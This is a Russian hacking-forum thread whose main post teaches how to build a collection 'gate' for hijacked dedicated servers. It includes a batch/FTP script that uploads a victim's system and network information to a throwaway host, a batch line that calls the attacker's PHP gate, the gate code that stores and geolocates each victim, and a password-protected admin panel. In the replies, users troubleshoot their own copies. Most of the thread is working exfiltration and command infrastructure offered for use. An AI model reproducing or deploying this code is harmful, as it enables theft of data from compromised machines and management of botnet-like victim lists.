PDA

Просмотр полной версии : [EasyHack] Dedicated Servers - ГЕЙТ


|qbz|
06.04.2010, 20:46
Это продолжение статьи [EasyHack] Dedicated Servers (http://forum.antichat.ru/thread189958.html)

Сегодня я расскажу как написать простой гейт для логов с дедушки, для чего он нужен и как его использовать.

Задача: накодить гейт на PHP, который бы ловил логи после запуска вышеуказонного батника, парсил бы их итд итп.

Решение:

Чтобы создать все это дело в одном батнике (да да, на деде будет для посылки логов на гейт запущен только батничек) я долго думал, как это реализовать. В конце концов я пришел к выводу, что надо просто заливать на фтп логи (а это логи системной информации и ipconfig - читай описание батника выше) и потом вызывать PHP скрипт который бы данные логи принял, сохранил и сделал все что нашей душе угодно. От теории к делу. Вот что нам потребуется:

1) фтп номер 1 - для слива свежих логов с какого-нибудь деда
2) фтп номер 2 - там будет стоять гейт, который с помощью пхп скрипта берет содержимое логов (по http) и добавляет к себе в базу.

Обьясню зачем нам нужно 2 фтп, а не один для гейта. Дело в том, что батник, хоть он и упакован каким нибудь УПХ с паролем итд итп - все равно не спасет от того чтобы из данного батника выдернуть логин и пасс к фтп. Из этого следует простой вывод - если спалить логин и пасс от фтп, где стоит гейт, то можно этот гейт потерять, соответственно и потерять базу дедов, если есть таковая. Поэтому мы просто регаем фришный хостинг с фтп, и заливаем логи именно туда.

Давайте реализуем сперва эту часть, а потом приступим к другой.

Допустим мы зарегали хостинг
ftp://abcd:qwer@servachok.com
Делаем фтп сервер для нашего батника:

o servachok.com
abcd
qwer
cd logs
send c:\windows\system32\infos\systeminfo.txt system.txt
send c:\windows\system32\infos\ipc.txt ipconf.txt
bye

Сохраняем как ftpserv.cmd и добавляем в конце батника (главного, который выше) строку:

@ftp -s:"%CD%/ftpserv.cmd"

При создании ехе из батника - не забываем добавить в "Include" файл ftpserv.cmd
Вроде с заливкой логов на фтп проблем нет. Приступаем к следующей части. Теперь нам надо:

1) добавить вызов гейта в наш батничек
2) написать сам гейт + админочку

Зачем нам вызывать гейт из батника? Затем что после заливки логов на принимающий фтп нам нужно об этом нашему гейту сказать - мол, давай, лови логи, гейт ты наш дорогой.
Это очень просто: просто добавляем в конец батника данный код:

@start iexplore.exe "http://servak-pod-adminku.com/gate.php?name=%COMPUTERNAME%"

Теперь пишем гейт на пхп:
<?php
if (isset($_GET['name']))
{
//slivaem s podstavnogo ftp sistemnuyu infu deda

$add_systeminfo = file_get_contents("http://abcd.servachok.com/logs/system.txt");
$add_systeminfo = base64_encode($add_systeminfo);
$write = fopen("./logs/".$_SERVER['REMOTE_ADDR']."_sys.txt","w+");
fputs($write,$add_systeminfo);
fclose($write);

//slivaem s podstavnogo ftp ipconfig deda

$add_ipc = file_get_contents("http://abcd.servachok.com/logs/ipconf.txt");
$add_ipc = base64_encode($add_ipc);
$write = fopen("./logs/".$_SERVER['REMOTE_ADDR']."_ipc.txt","w+");
fputs($write,$add_ipc);
fclose($write);

//pishem infu, peredannuyu po http
//ishem stranu i gorod po ip deda
$strana = file("http://ip-whois.net/ip_geo.php?ip=".$_SERVER['REMOTE_ADDR']);
$i = 0;
for ($i=0;$i<count($strana);$i++)
{
if (strstr($strana[$i],"<input type=\"submit\" value=\"Узнать информацию о IP\">"))
{
$textf=$strana[$i+5]."\n".$strana[$i+7]."\n";
}
}
//pishem imya kompa, ip deda, stranu i gorod
$add_inf = stripslashes(htmlspecialchars($_GET['name']))."\n".$_SERVER['REMOTE_ADDR']."\n".$textf;
$add_inf = base64_encode($add_inf);
$write = fopen("./logs/".$_SERVER['REMOTE_ADDR']."_inf.txt","w+");
fputs($write,$add_inf);
fclose($write);

header("Location: http://google.com");
}
else
{
header("Location: http://google.com");
}
?>

И файл .htaccess к нему:
php_flag allow_url_fopen on

При вызове гейта из батника, он примет инфу и откроет гоогле. )

Переходим к админке:
<html>
<font face=verdana size=-1>
<?php
function show_ipc($serv)
{
if (file_exists("./logs/".$serv."_ipc.txt"))
{
$ipc=file("./logs/".$serv."_ipc.txt");
$ipc=stripslashes(htmlspecialchars(base64_decode($ ipc[0])));
echo("<pre>".$ipc."</pre>");
}
}
function show_sys($serv)
{
if (file_exists("./logs/".$serv."_sys.txt"))
{
$sys=file("./logs/".$serv."_sys.txt");
$sys=stripslashes(htmlspecialchars(base64_decode($ sys[0])));
echo("<pre>".$sys."</pre>");
}
}
function gf($path)
{
$folder=opendir($path);
$i=0;
while ($current_file=readdir($folder))
{
if (($current_file != ".") && ($current_file != "..") && ($current_file != "Thumbs.db"))
{
$cf = $current_file;
$cf = explode("_",$cf);
$cf = $cf[0];
$items[$i]=$cf;
$i=$i+1;
}
}
closedir($folder);
return($items);
}

if ($_GET['pass']=="12345")
{
if (($_GET['m']!="ipc") && ($_GET['m']!="sys"))
{
$dediki = gf("./logs/");
$dediki = array_unique($dediki);
$i=0;
for ($i=0;$i<count($dediki);$i++)
{
$cur_ded = $dediki[$i];
$info = file("./logs/".$cur_ded."_inf.txt");
$info = base64_decode($info[0]);
$info = explode("\n",$info);
$name = $info[0];
$ip = $info[1];
$strana = strip_tags(trim($info[2]));
$gorod = $info[3];
echo("<div style=\"margin:10px;border-top:2px black solid;padding:5px;border-left:2px black solid;padding:5px;border-bottom:0px;border-right:0px;\">");
echo("<font color=gray>Computer Name:</font><font color=black> ".$name."</font><br>");
echo("<font color=gray>IP of DS:</font><font color=black> ".$ip."</font><br>");
echo("<font color=gray>Geo:</font><font color=black> ".$strana.", ".$gorod."</font><br>");
echo("<a href=\"./adm.php?m=sys&pass=" . $_GET['pass'] . "&d=" . $cur_ded . "\" target=\"_blank\" style=\"color:blue;margin-right:20px;\">System Info</a>");
echo("<a href=\"./adm.php?m=ipc&pass=" . $_GET['pass'] . "&d=" . $cur_ded . "\" target=\"_blank\" style=\"color:blue;margin-right:20px;\">IP Config</a>");
}
}
if ($_GET['m']=="ipc")
{
show_ipc($_GET['d']);
}
if ($_GET['m']=="sys")
{
show_sys($_GET['d']);
}
}
else
{
header("Location: http://google.com");
}
?>
</font>
</html>

Вызов админки идет примерно так:
http://servak-pod-adminku.com/adm.php?pass=12345

В ней у нас будут рассортированы дедики...

Любые добавления / пожелания / моддинг данного гейта,админки - приветствуется.

|qbz|
15.04.2010, 16:02
лол, сейчас смотрел статью и увидел, что забыл в прошлый раз запостить код админки! ну я даю.. ) вобщем теперь там и админка.

Cecil B Demented
15.04.2010, 18:11
Поскуднел ачат, поскуднел :)
Палевно слишком эта суета вся.

|qbz|
17.04.2010, 19:39
админка пофиксена, корректно выводит инфу

xxxBARTONxxx
24.04.2010, 03:48
почему то у меня логи на фтп не приходят, создал два файл
info.bat
mkdir c:\windows\system32\infos
dxdiag /t c:\windows\system32\infos\systeminfo.txt
ipconfig>c:\windows\system32\infos\ipc.txt
start explorer.exe c:\windows\system32\infos\
@ftp -s:"%CD%/ftpserv.cmd"

и
ftpserv.cmd
o 1234.20ehost.com
1234
qwerty
cd logs
send c:\windows\system32\infos\systeminfo.txt system.txt
send c:\windows\system32\infos\ipc.txt ipconf.txt
bye

положил оба файла на диск С:\ запускаю info.bat, но логи не приходят, может хостинг хреновый?

|qbz|
24.04.2010, 14:56
dobav k info.cmd

@start iexplore.exe "http://servak-pod-adminku.com/gate.php?name=%COMPUTERNAME%"

xxxBARTONxxx
25.04.2010, 03:27
я имею в виду логи на первый ftp (фтп номер 1 - для слива свежих логов с какого-нибудь деда) не приходят!

|qbz|
25.04.2010, 13:46
o 1234.20ehost.com
1234
qwerty
cd logs
send c:\windows\system32\infos\systeminfo.txt system.txt
send c:\windows\system32\infos\ipc.txt ipconf.txt
bye

значит проверь:

правильный ли адрес фтп-сервера, правильный ли логин/пасс от фтп,существуют ли файлы сис-инфы и айпиконфига, есть ли на фтп папка "logs", стоят ли на папке logs chnod 777

chmod реализуется на пхп таким скриптом:

<?php
chmod("./logs/",0777);
?>

из хостингов советую попробовать (у меня самого другой) freehostia.com

[i]nspire
25.04.2010, 20:29
всё так запутанно /:

mazaxaka
10.05.2010, 18:08
1. загрузка файлов на фтр не пашет. пишет не верные команды
2. загрузил файлы на фтп в ручную . сделал запрос на гейт . захожу в админку просто белый екран

MDxaker
11.05.2010, 22:46
статья нормуль. читал раньше....

но можна было бы сделать оформления для глаз приятнее!

kRa$I-I
18.05.2010, 20:44
Базы данных нынче юзать не модно?? fopen, fwrite рулит?
Совет не плоди плагиат таких исходников гейтов в сети тонны...и systeminfo даст более полную информацию о машине.
При всем уважении...

|qbz|
19.05.2010, 01:53
Базы данных нынче юзать не модно?? fopen, fwrite рулит?
не у всех фрихостов есть бд
Совет не плоди плагиат таких исходников гейтов в сети тонны...и systeminfo даст более полную информацию о машине.
ты хоть сравнивал? )) при необходимости можно и сисинфо добавить, только логи диксдиаг более полные

kRa$I-I
19.05.2010, 09:21
не у всех фрихостов есть бд

НУ КОНЕЧНО ЖЕ НЕ У ВСЕХ))
ты хоть сравнивал? ))

ДА)) А ТО!! КАЖДЫЙ ДЕНЬ СРАВНИВАЮ АДМИНКИ ДЛЯ ЗОМБИ _ЛЭНДОВ. ВОТ УЖЕ ПРЯМ ВСЕ СРАВНИЛ ЗАВТРА ОТЧЕТ ПРЕДОСТАВЛЮ)))

ps. Все с чего-то начинают, я все понимаю, но может пока не стоит писать статьи и учить остальных тому, что сам не знаешь в совершенстве)) Удачи в будущих проектах. ссори за оффтоп более не буду)))